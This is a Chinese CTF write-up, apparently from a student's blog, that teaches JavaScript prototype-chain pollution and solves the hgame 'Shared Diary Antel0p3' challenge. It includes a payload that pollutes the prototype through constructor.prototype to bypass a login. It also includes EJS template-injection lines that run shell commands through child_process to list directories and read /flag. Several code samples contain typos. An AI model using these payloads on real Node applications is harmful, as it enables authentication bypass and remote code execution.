写这篇文章的原因是我在放寒假经过了长久的摆烂后痛定思痛不能再这么下去了,因为明天就是hgame了所有我想着刷点hgame的内容,结果找不到复现平台,只在NSS上找到一些,这篇文章是我在写week4的Shared Diary Antel0p3时遇到了原型链污染,一点都不会所以我就打算学习一下JavaScript的原型链污染。

原型链污染的前置知识

js的对象

对象创建的几种方式

1.通过字面量模式创建

1
var a={a:"aa",b="cc"}

2.通过类来进行创建

1
2
3
4
5
6
7
8
calss a{
constructor(name,age)
{
this.name=name;
this.age=age;
}
}
var b=new a(lss,18);

通过类来创建对象,constructor()是自带的函数。

3.通过构造函数来进行创建对象

1
2
3
4
5
function Add(){
this.a="a";
this.b="c";
}
var a=new Add()

注意需要在构造函数的属性前加this.
在早期版本的JavaScript里是没有class关键词的,所以构造函数法的函数我们可以将其理解为类。

proto和prototype,constructor

我们都知道类里一般都是由定义函数的如下

1
2
3
4
5
6
7
8
9
function Add(){
this.a="a";
this.b="c";
this.aler=function lss()
{
alert("lll");
}
}
var a=new Add()

当我们将构造函数实例化成多个对象时我们可以发现其会重复的实例类里的函数,这回造成不必要的内存占用,这时候就需要原型(prototype)的出场了。
我们可以认为原型prototype是类Add的一个属性,而所有用Add类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。
如下
1
2
3
4
5
6
7
8
9
10
function Add(){
this.a="a";
this.b="c";
}
Add.prototype.aler=function lss()
{
alert("lll");
}
var a=new Add()
a.aler()

当对象在自己的属性里找不到该方法时,他回向原型里找,如果原型找不到就从原型的原型里找。
这样在我们创建了这个对象,我们就可以通过原型来使用这个方法。

我们可以通过Add.prototype来访问类Add的原型,但是当把类实例化成对象时就不能通过prototype来对其实原型进行访问则我们需要使用__proto__也就是Add.prototype==a.__proto__

实例化后的对象存在一个属性为constructor,该属性指向了该对象的构造函数也就是类,即a.constructor==Add

1
2
3
4
5
6
7
function Add(){
this.a="a";
this.b="c";
}
var a=new Add()
console.log(a.constructor)
a.constructor==Add

函数或者说类的原型是通过prototype来寻找找到。
实例化后的对象是通过proto来指向原型的。也就是指向对象类的prototype属性。

javascript的原型链继承

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
如:

1
2
3
4
5
6
7
8
9
10
11
12
function Father() {
this.first_name = 'lll'
this.last_name = 'sss'
}

function Son() {
this.first_name = 'eee'
}

Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

上述代码将类Son的原型赋值一个new Father,这使Son的原型有了Father的属性,当我们输出找son.first_name时会输出 eee这是因为调用son的first_name是会先查找son里有无,没有才会从其原型中查找。
所以当我们查找son.last_name会返回sss这是因为son类里没有只能从其原型中查找。

小总结:
1.每个构造函数(constructor)都有一个原型对象(prototype)
2.对象的proto属性,指向类的原型对象prototype
3.JavaScript使用prototype链实现继承机制

原型链污染

什么是原型链污染

我们都知道什么是原型,那么我们可以思考一下,有多个类其原型(把原型想像成父类)相同,而绝大多数的对象其原型最终都指向Object.prototype,这也就导致了大多数的对象都可以继承Object.prototype的方法和属性,那么我们如果能将一个对象原型进行修改,这时候就有可能会影响到其他对象,因为两个对象的原型有可能为同一个。我们可以做个小实验

1
2
3
4
5
var a={num:1,name:"lssee"}//创建对象a
var b={}//创建一个空对象
a.__proto__.num=9999
console.log(a.num)
console.log(b.num)

像上述代码中,a.num返回1,b.num返回9999这是因为a与b的原型都是Object.getPrototype。那么就a的原型修改就是将b的原型修改,那么这时候b里找num找不到就会区原型中寻找。

在一个web中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

原型链污染的情况

我们都知道,我们可以把proto看成一个对象的键名(也就是属性名)其键值就是原型,那么只要出现我们可以控制一个对象的键名的情况即可,我们可以将protot当成键值传入。
出现这种情况的原因主要如下。
对象merge
对象clone(其实内核就是将待操作的对象merge到一个空对象中)
以对象merge为例,我们想象一个简单的merge函数:

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

上述代码在将两个对象合并的过程中存在 target[key] = source[key]在这个赋值过程中如果key为protot那么就会产生污染。
我们做个实验试试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

var a={num:"lll","__protot__":{b:"bbb"}}
var b={}
merge(b, a)
console.log(a.num,a.b)
console.log(b.b)

我们可以发现b值并没有被插入到a和b的原型里,这是因为javascript在创建对象a时会直接将__proto__当成其原型,而不是键值,导致a的键值被解析为numb那么就会导致这句代码target[key] = source[key]不会修改a和b的原型。
那么我们应该这么才能将proto当成键值呢?很简单只要将对象以json的格式写入,当以json的格式写入时就会将proto解析为键值。

我们看上图可以发现将对象以json形式传入函数,函数将proto当成了键成功修改了原型的值,时得b.b不为未定义,为bbb。
这说明了原型链被污染。

实例,hgame week 4 Shared Diary Antel0p3

这题我们登陆进去发现是一个登陆框,题目写了这个是用js进行编写的登陆框,我们下载源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const ejs = require('ejs');
const path = require('path');
const app = express();

function merge(target, source) {
for (let key in source) {
// Prevent prototype pollution
if (key === '__proto__') {
throw new Error("Detected Prototype Pollution")
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

app
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json());
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
name: 'session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))

app.all("/login", (req, res) => {
if (req.method == 'POST') {
// save userinfo to session
let data = {};
try {
merge(data, req.body)
} catch (e) {
return res.render("login", {message: "Don't pollution my shared diary!"})
}
req.session.data = data

// check password
let user = {};
user.password = req.body.password;
if (user.password=== "testpassword") {
user.role = 'admin'
}
if (user.role === 'admin') {
req.session.role = 'admin'
return res.redirect('/')
}else {
return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
}
}
res.render('login', {message: ""});
});

app.all('/', (req, res) => {
if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
return res.redirect("/login")
}
if (req.method == 'POST') {
let diary = ejs.render(`<div>${req.body.diary}</div>`)
req.session.diary = diary
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
}
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
})


app.listen(8888, '0.0.0.0');

可以发现该网站有两个路由分别为/和/login我们查看/login路由的函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app.all("/login", (req, res) => {
if (req.method == 'POST') {
// save userinfo to session
let data = {};
try {
merge(data, req.body)
} catch (e) {
return res.render("login", {message: "Don't pollution my shared diary!"})
}
req.session.data = data

// check password
let user = {};
user.password = req.body.password;
if (user.password=== "testpassword") {
user.role = 'admin'
}
if (user.role === 'admin') {
req.session.role = 'admin'
return res.redirect('/')
}else {
return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
}
}
res.render('login', {message: ""});
});

可以发现其调用了merge()函数将我们传入的body拼接到一个空对象data上我们来分析一下merge函数

我们可以发现target[key] = source[key]那么很明显这应该是一个原型链污染。那么我们只要控制source也就是我们传入的body对原型链进行修改即可,但是函数将proto进行了过滤,我们可以使用{constructor:{prototype:{}}}来指向其原型

继续分析源码,我们可以发现其将data传到了req.session.data,之后只要user.role===admin就可以跳到/路由,这时候我们可以使用原型链污染,因为user的原型与data的原型都为Object.prototype那么我们就可以给原型传入一个role为admin这样就可以绕过登陆路解码到达/路由

1
2
3
4
5
6
7
8
9
10
app.all('/', (req, res) => {
if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
return res.redirect("/login")
}
if (req.method == 'POST') {
let diary = ejs.render(`<div>${req.body.diary}</div>`)
req.session.diary = diary
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
}
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});

这个路由我们分析一下,发现如果req.session.datareq.session.data.username为空或者req.session.role 不为admin的话会跳转到登陆界面。所以除了传入我们要修改的原型链的值,还要传入username,绕过登陆的payload如下

1
{"constructor":{"prototype":{"role":"admin"}},"username":"lsss"}


放包后成功绕过登陆
之后我们继续查看源码
1
2
3
4
5
if (req.method == 'POST') {
let diary = ejs.render(`<div>${req.body.diary}</div>`)
req.session.diary = diary
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
}

我们可以看到其使用了ejs框架,直接将变量req.body.diary塞到框架里没有任何过滤我们可以使用ejs的ssti模板注入注入语句在网上一查就能查到
1
2
3
<%- global.process.mainModule.require('child_process').execSync('ls /') %>
<%- global.process.mainModule.require('child_process').execSync('cat
/flag') %>